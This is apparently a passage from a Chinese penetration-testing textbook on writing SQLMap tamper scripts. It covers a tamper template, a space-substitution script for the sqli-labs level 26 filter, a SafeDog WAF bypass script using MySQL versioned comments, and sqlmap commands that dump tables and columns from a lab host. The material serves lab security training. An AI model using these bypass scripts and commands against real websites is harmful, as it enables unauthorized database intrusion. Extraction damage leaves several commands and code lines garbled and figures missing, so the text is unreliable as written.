SQLMap的Tamper脚本_sqlmap tamper

由于SQL注入的影响过于广泛以及人们的网络安全意识普遍提升，网站往往 会针对SQL注入添加防SQL注入系统或者WAF 。这时，在渗透测试过程中就需要 绕过网站的安全防护系统。SQLMap是一款用来检测与利用SQL注入漏洞的免费 开源工具，不仅可以实现SQL注入漏洞的检测与利用的自动化处理，而且其自带 的Tamper脚本可以帮助我们绕过IDS/WAF的检测。

5.4.1    简介

SQLMap是一款基于Python开发的开源自动化SQL注入工具，功能强大且自带 了很多绕过脚本， 目前支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft    SQL Server 、Microsoft Access 、IBM DB2 、SQLite 、Firebird 、Sybase和SAP

MaxDB 。SQLMap采用了以下5种SQL注入技术：

·基于布尔的盲注：能根据页面的返回内容判断真假的注入技术。

·基于时间的盲注：不能根据页面的返回内容来判断信息，而是使用条件语句 查看时间延迟语句是否执行（即页面的返回时间是否增加），以此来判断。

·基于报错的注入：根据页面返回的错误信息来判断，或者把注入语句的结果 直接返回到页面中。

·堆查询注入：可以同时执行多条语句的执行时的注入。

在渗透测试过程中采用SQLMap ，只需要输入几个参数，就可以自动帮助我 们完成一系列的SQL注入。为了提高安全性，网站管理员往往会添加防SQL注入 系统或者WAF 。SQLMap提供的Tamper脚本可以帮助我们有效地绕过这些安全防 护，完成渗透测试。

现在SQLMap提供了57个Tamper脚本，具体内容如表5-1所示。

表5-1    Tamper脚本

在渗透测试过程中，读者可根据表5-1使用相关的Tamper脚本来绕过 IDS/WAF的检测。

虽然SQLMap提供了这么多的Tamper脚本，但是在实际使用的过程中，网站 的安全防护并没有那么简单，可能过滤了许多敏感的字符以及相关的函数。这个 时候就需要我们针对目标的防护体系手动构建相应的Tamper脚本。

Tamper相当于一个加工车间，它会把我们的Payload进行加工之后发往目标网 站。下面我们简单介绍Tamper的结构：

U

#!/usr/bin/env python

"""

Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/)

See the file 'LICENSE ' for copying permission

"""

# 导入SQLMap中lib\core\enums中的PRIORITY优先级函数

from lib.core .enums import PRIORITY

# 定义脚本优先级

__priority__ = PRIORITY .LOW

# 对当前脚本的介绍，可以为空

def dependencies() :

pass

"""

对传进来的payload进行修改并返回

函数有两个参数。主要更改的是payload参数，kwargs参数用得不多。在官方提供的Tamper脚本中 只被使用了两次，两次都只是更改了http-header

"""

def tamper(payload, **kwargs) :

# 增加相关的payload处理，再将payload返回

# 必须返回最后的payload

return payload

Tamper脚本的构建非常简单，其实渗透测试中真正的难点在于如何针对目标 网站的防护找出对应的绕过方法。

5.4.2    Tamper脚本的编写（ 一）

经过5.4.1节对Tamper脚本的介绍，本节我们来编写绕过目标网站防SQL注入 系统的Tamper脚本。

此处以sqli-labs 的第26关为例，如图5-8所示。笔者的环境为PHP- 5.2.17+Apache。

图5-8    sqli-labs第26关

以下为网站的过滤函数，可以看到网站过滤了or 、and 、/* 、-- 、# 、空格和斜 杠：

function blacklist($id)

{

$id= preg_replace( '/or/i ',"", $id);     //strip out OR (non case sensitive)

$id= preg_replace( '/and/i ',"", $id);     //Strip out AND (non case sensitive)

$id= preg_replace( '/[\/\*]/ ',"", $id);     //strip out /*

$id= preg_replace( '/[--]/ ',"", $id);     //Strip out --

$id= preg_replace( '/[#]/ ',"", $id);     //Strip out #

$id= preg_replace( '/[\s]/ ',"", $id);     //Strip out spaces

$id= preg_replace( '/[\/\\\\]/ ',"", $id);     //Strip out slashes

return $id;

}

表5-2所示是笔者经过测试得出的绕过方法：

表5-2    关键字与绕过方法

#!/usr/bin/env python

# -*- coding:UTF-8 -*-

"""

Copyright (c) 2006-2020 sqlmap developers (http://sqlmap .org/)

See the file 'LICENSE ' for copying permission

"""

from lib.core .compat import xrange

from lib.core .enums import PRIORITY

__priority__ = PRIORITY .LOW

def dependencies() :

pass

def tamper(payload, **kwargs) :

retVal = payload

if payload :

retVal = ""

quote, doublequote, firstspace = False, False, False

for i in xrange(len(payload)) :

if not firstspace:

if payload[i] .isspace() :

firstspace = True

# 把原先的+改为%a0即可

retVal += "%a0"

continue

elif payload[i] == '\ ' ' :

quote = not quote

elif payload[i] == '" ' :

doublequote = not doublequote

elif payload[i] == " " and not doublequote and not quote:

# 把原先的+改为%a0即可

retVal += "%a0"

continue

retVal += payload[i]

return retVal

运行结果发现SQLMap无法进行注入：

我们在编写的绕过脚本中增加--tamper ，增加-v 3来查看输出的Payload 。代码 如下：

通过观察Payload的输出发现，脚本已经成功执行，如下所示：

SQLMap已经成功找出注入点，结果如下所示：

运行结果如下所示：

接下来遍历security里面的数据表，代码如下：

>>>	sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v "double-and-or .py,space2A0 .py" -D "security" --tables	3 --tamper
运行结果如下所示：
再来遍历security数据库中users表的字段，代码如下：
>>>	sqlmap -u "http://192 .168 .61 .134/sqli/Less-26/?id=1" -v "double-and-or .py,space2A0 .py" -D "security" -T "users"	3 --tamper --columns

运行结果如下所示：

运行结果如下所示：

但是这里发现，并没有数据出现。这说明最后遍历数据库数据的Payload还是 有问题。通过查看SQLMap的Payload发现，Payload中的count（* ）出现了关键词

* ，说明是被过滤了。所以我们还需要再写一个Tamper把count（* ）进行替换。这 里可以通过count（常数）来代替count（* ）。

我们编写第三个脚本count.py ，把count（* ）变成count（1）：

运行结果如下所示：

这样我们通过3个Tamper脚本的搭配使用，成功绕过网站的防护完成了SQL 注入。

5.4.3    Tamper脚本的编写（二）

5.4.2节中我们讲了绕过网站自身防SQL注入系统的方法，本节将针对WAF编 写Tamper脚本进行绕过。

此处以sqli-labs靶场的第4关为例，如图5-9所示。笔者的环境为PHP- 5.2.17+Apache。

图5-9    sqli-labs第4关

安装网站安全狗（Apache版）4.0V正式版，安全狗的防护参数设置如图5-10 和图5-11所示。

此时，我们再次尝试进行SQL注入时，安全狗就会进行拦截，如图5-12和图 5-13所示。

表5-3所示是笔者经过测试，总结的对当前版本安全狗的绕过方法。

图5-10    安全狗的防护设置1

图5-11    安全狗的防护设置2

图5-12    安全狗拦截1

图5-13    安全狗拦截2

表5-3    安全狗的绕过方法

我们编写一个Tamper脚本，把安全狗拦截的关键字进行替换：

#!/usr/bin/env python

#!/usr/bin/env python

from lib.core .enums import PRIORITY

from lib.core .settings import UNICODE_ENCODING

__priority__ = PRIORITY .NORMAL

def dependencies() :

pass

def tamper(payload, **kwargs) :

if payload :

payload = payload.replace("UNION","union/* !88888cas*/")

payload = payload.replace("--","/* !*/--")

payload = payload.replace("SELECT","/* !88888cas*/select")

payload = payload.replace("FROM","/* !99999c*//* !99999c*/from")

payload = payload.replace("#","/* !*/#")

payload = payload.replace("USER()","USER/* !()*/")

payload = payload.replace("DATABASE()","DATABASE/* !()*/")

payload = payload.replace(" ","/* !*/")

payload = payload.replace("=","/* !*/=/* !*/")

payload = payload.replace("AND","/* !*/AND/* !*/")

return payload

我们使用Tamper脚本再次尝试SQL注入，代码如下：

>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" --tamper "Bypass .py" -v 3 --dbs

运行结果如下所示：

可以看到，我们成功绕过安全狗的防护探测到数据库的信息，接下来我们探 测security数据库，代码如下：

>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" --tamper "Bypass .py" -v 3 -D "security" –tables

运行结果如下所示：

接下来遍历security数据库users表的字段，代码如下：

>>>sqlmap -u "http://192 .168 .61 .134/sqli/Less-4/?id=1" -v 3 -D "security" -T "users" --columns	--tamper	"Bypass .py"
运行结果如下所示：
再接下来就是遍历数据了，代码如下：